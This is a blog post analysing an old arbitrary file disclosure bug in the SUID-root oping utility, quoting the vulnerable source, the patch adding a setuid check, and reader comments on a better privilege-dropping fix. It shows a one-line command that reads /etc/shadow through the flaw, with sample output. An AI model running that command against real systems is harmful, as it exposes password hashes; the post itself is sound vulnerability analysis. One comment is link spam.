xorl %eax, %eax

oping Arbitrary File Disclosure

with 3 comments

This is a cute little bug reported by Steve Kemp to the Debian Bug Tracker on 28 September 2009. The vulnerability affects liboping/1.3.2-1 and probably earlier releases as well. To begin with, this binary is (of course) installed as a SUID root application since it uses raw sockets as you can see here:

xorl:~$ ls -l `which oping`
-rwsr-xr-x 1 root root 8404 2006-12-09 19:19 /usr/bin/oping*

Steve Kemp noticed that using the ‘-f’ option he was able to view arbitrary files in the system. Now, as we can read in src/oping.c:

int main (int argc, char **argv)
        pingobj_t      *ping;
        pingobj_iter_t *iter;

        struct sigaction sigint_action;

        struct timeval  tv_begin;
        struct timeval  tv_end;
        struct timespec ts_wait;
        struct timespec ts_int;

        int optind;
        int i;

        optind = read_options (argc, argv);
        ping_destroy (ping);

        return (0);

It uses a custom function named read_options() to parse the arguments. Now, let’s see how it’s utilizing the ‘-f’ switch:

static int read_options (int argc, char **argv)
        int optchar;

        while (1)
                optchar = getopt (argc, argv, "46c:hi:I:t:f:D:");

                if (optchar == -1)

                switch (optchar)
                        case 'f':
                                        if (opt_filename != NULL)
                                                free (opt_filename);
                                        opt_filename = strdup (optarg);
        return (optind);

So, it is just duplicating the name passed as argument to ‘-f’ to ‘opt_filename’ which is used in main() function in a very simple manner:

        if (opt_filename != NULL)
                FILE *infile;
                char line[256];
                char host[256];
                        infile = fopen(opt_filename, "r");
                while (fgets(line, sizeof(line), infile))
                        /* Strip whitespace */
                        if (sscanf(line, "%s", host) != 1)
                        if (ping_host_add(ping, host) < 0)
                                const char *errmsg = ping_get_error (ping);

                                fprintf (stderr, "Adding host `%s' failed: %s\n", host, errmsg);

So, you can simply read any file on the system and have output similar to:

xorl:~$ oping -f /etc/shadow


 Adding host `lp:*:14276:0:99999:7:::' failed: getaddrinfo: Name or service not known
 Adding host `mail:*:14276:0:99999:7:::' failed: getaddrinfo: Name or service not known
 Adding host `news:*:14276:0:99999:7:::' failed: getaddrinfo: Name or service not known



This was patched by adding a new routine named is_setuid():

static _Bool is_setuid (void)
       return (getuid () != geteuid ());

And patching read_options() like this:

                        case 'f':
+                               if (is_setuid ())
+                               {
+                                       fprintf (stderr, "For security reasons the `-f' option "
+                                                       "is disabled if real and effective "
+                                                       "user IDs don't match. Sorry.\n");
+                               }
+                               else

Written by xorl

October 14, 2009 at 19:13

Posted in vulnerabilities

3 Responses

Subscribe to comments with RSS.

  1. A really silly bug. And the workaround is maybe even worse since it disables the -f feature for non-root users in practice.
    I have contacted the author about an idea to just drop the privileges to getuid() before reading the file and regaining them later. Completely dropping root privileges after opening a raw socket would be the best (however that turns out to not be that simple with the current architecture).

    Florian replied that he had exactly the same thoughts and addressed the issues in:

    For architectures with _POSIX_SAVED_IDS you read the files unprivileged and so only stuff you are allowed to see might “leak”. Everywhere else -f is still “disabled” if getuid() != geteuid() like in the first patch. The first fix seems like it was created in a hurry and thus was not well thought-out.


    October 14, 2009 at 22:11

  2. Good to see you again xorl


    October 15, 2009 at 11:06

  3. Hi,

    Thank you for the great quality of your blog, each time i come here, i’m amazed.

    [url=http://blackhattitude.video-2-grosse.com]black hattitude[/url].

    black hattitude

    October 29, 2009 at 22:06

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google+ photo

You are commenting using your Google+ account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )


Connecting to %s